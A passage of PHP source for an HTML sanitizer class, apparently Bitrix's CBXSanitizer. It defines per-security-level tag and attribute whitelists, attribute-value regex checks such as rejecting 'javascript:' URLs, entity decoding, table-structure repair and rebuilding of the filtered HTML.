'pre' => array(),
'u' => array(),
'ul' => array()
);
break;
case self::SECURE_LEVEL_MIDDLE:
$arTags = array(
'a' => array('href', 'title','name','alt'),
'b' => array(),
'br' => array(),
'big' => array(),
'blockquote' => array('title'),
'code' => array(),
'caption' => array(),
'del' => array('title'),
'dt' => array(),
'dd' => array(),
'font' => array('color','size'),
'color' => array(),
'h1' => array(),
'h2' => array(),
'h3' => array(),
'h4' => array(),
'h5' => array(),
'h6' => array(),
'hr' => array(),
'i' => array(),
'img' => array('src','alt','height','width','title'),
'ins' => array('title'),
'li' => array(),
'ol' => array(),
'p' => array(),
'pre' => array(),
's' => array(),
'small' => array(),
'strong' => array(),
'sub' => array(),
'sup' => array(),
'table' => array('border','width'),
'tbody' => array('align','valign'),
'td' => array('width','height','align','valign'),
'tfoot' => array('align','valign'),
'th' => array('width','height'),
'thead' => array('align','valign'),
'tr' => array('align','valign'),
'u' => array(),
'ul' => array()
);
break;
case self::SECURE_LEVEL_LOW:
$arTags = array(
'a' => array('href', 'title','name','style','id','class','shape','coords','alt','target'),
'b' => array('style','id','class'),
'br' => array('style','id','class'),
'big' => array('style','id','class'),
'blockquote' => array('title','style','id','class'),
'caption' => array('style','id','class'),
'code' => array('style','id','class'),
'del' => array('title','style','id','class'),
'div' => array('title','style','id','class','align'),
'dt' => array('style','id','class'),
'dd' => array('style','id','class'),
'font' => array('color','size','face','style','id','class'),
'h1' => array('style','id','class','align'),
'h2' => array('style','id','class','align'),
'h3' => array('style','id','class','align'),
'h4' => array('style','id','class','align'),
'h5' => array('style','id','class','align'),
'h6' => array('style','id','class','align'),
'hr' => array('style','id','class'),
'i' => array('style','id','class'),
'img' => array('style','id','class','src','alt','height','width','title'),
'ins' => array('title','style','id','class'),
'li' => array('style','id','class'),
'map' => array('shape','coords','href','alt','title','style','id','class','name'),
'ol' => array('style','id','class'),
'p' => array('style','id','class','align'),
'pre' => array('style','id','class'),
's' => array('style','id','class'),
'small' => array('style','id','class'),
'strong' => array('style','id','class'),
'span' => array('title','style','id','class','align'),
'sub' => array('style','id','class'),
'sup' => array('style','id','class'),
'table' => array('border','width','style','id','class','cellspacing','cellpadding'),
'tbody' => array('align','valign','style','id','class'),
'td' => array('width','height','style','id','class','align','valign','colspan','rowspan'),
'tfoot' => array('align','valign','style','id','class','align','valign'),
'th' => array('width','height','style','id','class','colspan','rowspan'),
'thead' => array('align','valign','style','id','class'),
'tr' => array('align','valign','style','id','class'),
'u' => array('style','id','class'),
'ul' => array('style','id','class')
);
break;
default:
$arTags = array();
break;
}
$this->DelAllTags();
$this->AddTags($arTags);
$this->secLevel = $secLevel;
}
// Checks if tag's attributes are in white list ($this->arHtmlTags)
protected function IsValidAttr(&$arAttr)
{
if (!isset($arAttr[1]) || !isset($arAttr[3]))
{
return false;
}
$attr = strtolower($arAttr[1]);
$attrValue = $this->Decode($arAttr[3]);
switch ($attr)
{
case 'src':
case 'href':
case 'data-url':
if(!preg_match("#^(http://|https://|ftp://|file://|mailto:|callto:|skype:|tel:|sms:|\\#|/)#i".BX_UTF_PCRE_MODIFIER, $attrValue))
{
$arAttr[3] = 'http://' . $arAttr[3];
}
$valid = (!preg_match("#javascript:|data:|[^\\w".$this->localAlph."a-zA-Z:/\\.=@;,!~\\*\\&\\#\\)(%\\s\\+\$\\?\\-\\[\\]]#i".BX_UTF_PCRE_MODIFIER, $attrValue))
? true : false;
break;
case 'height':
case 'width':
case 'cellpadding':
case 'cellspacing':
$valid = !preg_match("#^[^0-9\\-]+(px|%|\\*)*#i".BX_UTF_PCRE_MODIFIER, $attrValue)
? true : false;
break;
case 'title':
case 'alt':
$valid = !preg_match("#[^\\w".$this->localAlph."\\.\\?!,:;\\s\\-]#i".BX_UTF_PCRE_MODIFIER, $attrValue)
? true : false;
break;
case 'style':
$valid = !preg_match("#(behavior|expression|position|javascript)#i".BX_UTF_PCRE_MODIFIER, $attrValue) && !preg_match("#[^\\/\\w\\s)(!%,:\\.;\\-\\#\\']#i".BX_UTF_PCRE_MODIFIER, $attrValue)
? true : false;
break;
case 'coords':
$valid = !preg_match("#[^0-9\\s,\\-]#i".BX_UTF_PCRE_MODIFIER, $attrValue)
? true : false;
break;
default:
if (array_key_exists($attr, $this->additionalAttrs))
{
$valid = true === call_user_func_array(
$this->additionalAttrs[$attr]['content'],
array($attrValue)
);
}
else
{
$valid = !preg_match("#[^\\s\\w" . $this->localAlph . "\\-\\#\\.;]#i" . BX_UTF_PCRE_MODIFIER, $attrValue)
? true : false;
}
break;
}
return $valid;
}
/**
* Returns allowed tags and attributies
* @return string
*/
public function GetTags()
{
if(!is_array($this->arHtmlTags))
return false;
$confStr="";
foreach ($this->arHtmlTags as $tag => $arAttrs)
{
$confStr.=$tag." (";
foreach ($arAttrs as $attr)
if($attr)
$confStr.=" ".$attr." ";
$confStr.=")<br>";
}
return $confStr;
}
/**
* @deprecated For compability only will be erased next versions
*/
public static function SetTags($arTags)
{
self::$arOldTags = $arTags;
/* for next version
$this->DelAllTags();
return $this->AddTags($arTags);
*/
}
/**
* @deprecated For compability only will be erased next versions
*/
public static function Sanitize($html, $secLevel='HIGH', $htmlspecialchars=true, $delTags=true)
{
$Sanitizer = new self;
if(empty(self::$arOldTags))
$Sanitizer->SetLevel(self::SECURE_LEVEL_HIGH);
else
{
$Sanitizer->DelAllTags();
$Sanitizer->AddTags(self::$arOldTags);
}
$Sanitizer->ApplyHtmlSpecChars($htmlspecialchars);
$Sanitizer->DeleteSanitizedTags($delTags);
$Sanitizer->ApplyDoubleEncode();
return $Sanitizer->SanitizeHtml($html);
}
/**
* Erases, or HtmlSpecChares Tags and attributies wich not contained in white list
* from inputted HTML
* @param string $html Dirty HTML
* @return string filtered HTML
*/
public function SanitizeHtml($html)
{
if(empty($this->arHtmlTags))
$this->SetLevel(self::SECURE_LEVEL_HIGH);
$openTagsStack = array();
$isCode = false;
//split html to tag and simple text
$seg = array();
$arData = preg_split('/(<[^<>]+>)/si'.BX_UTF_PCRE_MODIFIER, $html, -1, PREG_SPLIT_DELIM_CAPTURE);
foreach($arData as $i => $chunk)
{
if ($i % 2)
$seg[] = array('segType'=>'tag', 'value'=>$chunk);
elseif ($chunk != "")
$seg[]=array('segType'=>'text', 'value'=> $chunk);
}
//process segments
$segCount = count($seg);
for($i=0; $i<$segCount; $i++)
{
if($seg[$i]['segType'] == 'text')
{
if (trim($seg[$i]['value']) && ($tp = array_search('table', $openTagsStack)) !== false)
{
$cellTags = array_intersect(array('td', 'th'), array_keys($this->arHtmlTags));
if ($cellTags && !array_intersect($cellTags, array_slice($openTagsStack, $tp+1)))
{
array_splice($seg, $i, 0, array(array('segType' => 'tag', 'value' => sprintf('<%s>', reset($cellTags)))));
$i--; $segCount++;
continue;
}
}
if ($this->bHtmlSpecChars)
$seg[$i]['value'] = htmlspecialchars($seg[$i]['value'], ENT_QUOTES, LANG_CHARSET, $this->bDoubleEncode);
}
elseif($seg[$i]['segType'] == 'tag')
{
//find tag type (open/close), tag name, attributies
preg_match('#^<\s*(/)?\s*([a-z0-9]+)(.*?)>$#si'.BX_UTF_PCRE_MODIFIER, $seg[$i]['value'], $matches);
$seg[$i]['tagType'] = ( $matches[1] ? 'close' : 'open' );
$seg[$i]['tagName'] = strtolower($matches[2]);
if(($seg[$i]['tagName']=='code') && ($seg[$i]['tagType']=='close'))
$isCode = false;
//if tag founded inside <code></code> it is simple text
if($isCode)
{
$seg[$i]['segType'] = 'text';
$i--;
continue;
}
if($seg[$i]['tagType'] == 'open')
{
// if tag unallowed screen it, or erase
if(!array_key_exists($seg[$i]['tagName'], $this->arHtmlTags))
{
if($this->bDelSanitizedTags) $seg[$i]['action'] = 'del';
else
{
$seg[$i]['segType'] = 'text';
$i--;
continue;
}
}
//if allowed
else
{
if (in_array('table', $openTagsStack))
{
if ($openTagsStack[count($openTagsStack)-1] == 'table')
{
if (array_key_exists('tr', $this->arHtmlTags) && !in_array($seg[$i]['tagName'], array('thead', 'tfoot', 'tbody', 'tr')))
{
array_splice($seg, $i, 0, array(array('segType' => 'tag', 'tagType' => 'open', 'tagName' => 'tr', 'action' => 'add')));
$i++; $segCount++;
$openTagsStack[] = 'tr';
}
}
if (in_array($openTagsStack[count($openTagsStack)-1], array('thead', 'tfoot', 'tbody')))
{
if (array_key_exists('tr', $this->arHtmlTags) && $seg[$i]['tagName'] != 'tr')
{
array_splice($seg, $i, 0, array(array('segType' => 'tag', 'tagType' => 'open', 'tagName' => 'tr', 'action' => 'add')));
$i++; $segCount++;
$openTagsStack[] = 'tr';
}
}
if ($seg[$i]['tagName'] == 'tr')
{
for ($j = count($openTagsStack)-1; $j >= 0; $j--)
{
if (in_array($openTagsStack[$j], array('table', 'thead', 'tfoot', 'tbody')))
break;
array_splice($seg, $i, 0, array(array('segType' => 'tag', 'tagType' => 'close', 'tagName' => $openTagsStack[$j], 'action' => 'add')));
$i++; $segCount++;
array_splice($openTagsStack, $j, 1);
}
}
if ($openTagsStack[count($openTagsStack)-1] == 'tr')
{
$cellTags = array_intersect(array('td', 'th'), array_keys($this->arHtmlTags));
if ($cellTags && !in_array($seg[$i]['tagName'], $cellTags))
{
array_splice($seg, $i, 0, array(array('segType' => 'tag', 'tagType' => 'open', 'tagName' => reset($cellTags), 'action' => 'add')));
$i++; $segCount++;
$openTagsStack[] = 'td';
}
}
if (in_array($seg[$i]['tagName'], array('td', 'th')))
{
for ($j = count($openTagsStack)-1; $j >= 0; $j--)
{
if ($openTagsStack[$j] == 'tr')
break;
array_splice($seg, $i, 0, array(array('segType' => 'tag', 'tagType' => 'close', 'tagName' => $openTagsStack[$j], 'action' => 'add')));
$i++; $segCount++;
array_splice($openTagsStack, $j, 1);
}
}
}
//Processing valid tables
//if find 'tr','td', etc...
if(array_key_exists($seg[$i]['tagName'], $this->arTableTags))
{
$this->CleanTable($seg, $openTagsStack, $i, false);
if($seg[$i]['action'] == 'del')
continue;
}
//find attributies an erase unallowed
preg_match_all('#([a-z_-]+)\s*=\s*([\'\"])\s*(.*?)\s*\2#is'.BX_UTF_PCRE_MODIFIER, $matches[3], $arTagAttrs, PREG_SET_ORDER);
$attr = array();
foreach($arTagAttrs as $arTagAttr)
{
$currTag = $seg[$i]['tagName'];
$attrOne = strtolower($arTagAttr[1]);
$attrAllowed = in_array(
$attrOne,
$this->arHtmlTags[$seg[$i]['tagName']]
);
if (
!$attrAllowed &&
array_key_exists($attrOne, $this->additionalAttrs)
)
{
$attrAllowed = true === call_user_func_array(
$this->additionalAttrs[$attrOne]['tag'],
array($currTag)
);
}
if ($attrAllowed)
{
$arTagAttr[3] = str_replace('"', "'", $arTagAttr[3]); //We will wrap attribute by "
if($this->IsValidAttr($arTagAttr))
{
if($this->bHtmlSpecChars)
{
$attr[$attrOne] = htmlspecialchars($arTagAttr[3], ENT_QUOTES, LANG_CHARSET, $this->bDoubleEncode);
}
else
{
$attr[$attrOne] = $arTagAttr[3];
}
}
}
}
$seg[$i]['attr'] = $attr;
if($seg[$i]['tagName'] == 'code')
$isCode = true;
//if tag need close tag add it to stack opened tags
if(!in_array($seg[$i]['tagName'], $this->arNoClose)) //!count($this->arHtmlTags[$seg[$i]['tagName']]) || fix: </br>
{
$openTagsStack[] = $seg[$i]['tagName'];
$seg[$i]['closeIndex'] = count($openTagsStack)-1;
}
}
}
//if closing tag
else
{ //if tag allowed
if(array_key_exists($seg[$i]['tagName'], $this->arHtmlTags) && (!count($this->arHtmlTags[$seg[$i]['tagName']]) || ($this->arHtmlTags[$seg[$i]['tagName']][count($this->arHtmlTags[$seg[$i]['tagName']])-1] != false)))
{
if($seg[$i]['tagName'] == 'code')
$isCode = false;
//if open tags stack is empty, or not include it's name lets screen/erase it
if((count($openTagsStack) == 0) || (!in_array($seg[$i]['tagName'], $openTagsStack)))
{
if($this->bDelSanitizedTags || $this->arNoClose)
$seg[$i]['action'] = 'del';
else
{
$seg[$i]['segType'] = 'text';
$i--;
continue;
}
}
else
{
//if this tag don't match last from open tags stack , adding right close tag
$tagName = array_pop($openTagsStack);
if($seg[$i]['tagName'] != $tagName)
{
array_splice($seg, $i, 0, array(array('segType'=>'tag', 'tagType'=>'close', 'tagName'=>$tagName, 'action'=>'add')));
$segCount++;
}
}
}
//if tag unallowed erase it
else
{
if($this->bDelSanitizedTags) $seg[$i]['action'] = 'del';
else
{
$seg[$i]['segType'] = 'text';
$i--;
continue;
}
}
}
}
}
//close tags stayed in stack
foreach(array_reverse($openTagsStack) as $val)
array_push($seg, array('segType'=>'tag', 'tagType'=>'close', 'tagName'=>$val, 'action'=>'add'));
//build filtered code and return it
$filteredHTML = '';
foreach($seg as $segt)
{
if($segt['action'] != 'del')
{
if($segt['segType'] == 'text')
$filteredHTML .= $segt['value'];
elseif($segt['segType'] == 'tag')
{
if($segt['tagType'] == 'open')
{
$filteredHTML .= '<'.$segt['tagName'];
if(is_array($segt['attr']))
foreach($segt['attr'] as $attr_key => $attr_val)
$filteredHTML .= ' '.$attr_key.'="'.$attr_val.'"';
if (count($this->arHtmlTags[$segt['tagName']]) && ($this->arHtmlTags[$segt['tagName']][count($this->arHtmlTags[$segt['tagName']])-1] == false))
$filteredHTML .= " /";
$filteredHTML .= '>';
}
elseif($segt['tagType'] == 'close')
$filteredHTML .= '</'.$segt['tagName'].'>';
}
}
}
return $filteredHTML;
}
/**
* function CleanTable
* Check if table code is valid, and corrects. If need
* deletes all text and tags between diferent table tags if $delTextBetweenTags=true.
* Checks if where are open tags from upper level if not - self-distructs.
*/
protected function CleanTable(&$seg, &$openTagsStack, $segIndex, $delTextBetweenTags=true)
{
//if we found up level or not
$bFindUp = false;
//count open & close tags
$arOpenClose = array();
for ($tElCategory=self::TABLE_COLS;$tElCategory>self::TABLE_TOP;$tElCategory--)
{
if($this->arTableTags[$seg[$segIndex]['tagName']] != $tElCategory)
continue;
//find back upper level
for($j=$segIndex-1;$j>=0;$j--)
{
if ($seg[$j]['segType'] != 'tag' || !array_key_exists($seg[$j]['tagName'], $this->arTableTags))
continue;
if($seg[$j]['action'] == 'del')
continue;
if($tElCategory == self::TABLE_COLS)
{
if($this->arTableTags[$seg[$j]['tagName']] == self::TABLE_COLS || $this->arTableTags[$seg[$j]['tagName']] == self::TABLE_ROWS)
$bFindUp = true;
}
else
if($this->arTableTags[$seg[$j]['tagName']] <= $tElCategory)
$bFindUp = true;
if(!$bFindUp)
continue;
//count opened and closed tags
$arOpenClose[$seg[$j]['tagName']][$seg[$j]['tagType']]++;
//if opened tag not found yet, searching for more
if(($arOpenClose[$seg[$j]['tagName']]['open'] <= $arOpenClose[$seg[$j]['tagName']]['close']))
{
$bFindUp = false;
continue;
}
if(!$delTextBetweenTags)
break;
//if find up level let's mark all middle text and tags for del-action
for($k=$segIndex-1;$k>$j;$k--)
{
//lt's save text-format
if($seg[$k]['segType'] == 'text' && !preg_match("#[^\n\r\s]#i".BX_UTF_PCRE_MODIFIER, $seg[$k]['value']))
continue;
$seg[$k]['action'] = 'del';
if(isset($seg[$k]['closeIndex']))
unset($openTagsStack[$seg[$k]['closeIndex']]);
}
break;
}
//if we didn't find up levels,lets mark this block as del
if(!$bFindUp)
$seg[$segIndex]['action'] = 'del';
break;
}
return $bFindUp;
}
/**
* Decodes text from codes like &#***, html-entities wich may be coded several times;
* @param string $str
* @return decoded string
* */
public function Decode($str)
{
$str1="";
while($str1 <> $str)
{
$str1 = $str;
$str = $this->_decode($str);
$str = str_replace("\x00", "", $str);
$str = preg_replace("/\&\#0+(;|([^\d;]))/is", "\\2", $str);
$str = preg_replace("/\&\#x0+(;|([^\da-f;]))/is", "\\2", $str);
}
return $str1;
}
/*
Function is used in regular expressions in order to decode characters presented as {
*/
protected function _decode_cb($in)
{
$ad = $in[2];
if($ad == ';')
$ad="";
$num = intval($in[1]);
return chr($num).$ad;
}
/*
Function is used in regular expressions in order to decode characters presented as «
*/
protected function _decode_cb_hex($in)
{
$ad = $in[2];
if($ad==';')
$ad="";
$num = intval(hexdec($in[1]));
return chr($num).$ad;
}
/*
Decodes string from html codes &#***;
One pass!
-- Decode only a-zA-Z:().=, because only theese are used in filters
*/
protected function _decode($str)
{
$str = preg_replace_callback("/\&\#(\d+)([^\d])/is", array("CBXSanitizer", "_decode_cb"), $str);
$str = preg_replace_callback("/\&\#x([\da-f]+)([^\da-f])/is", array("CBXSanitizer", "_decode_cb_hex"), $str);
return str_replace(array(":","&tab;","&newline;"), array(":","\t","\n"), $str);
}
};
?>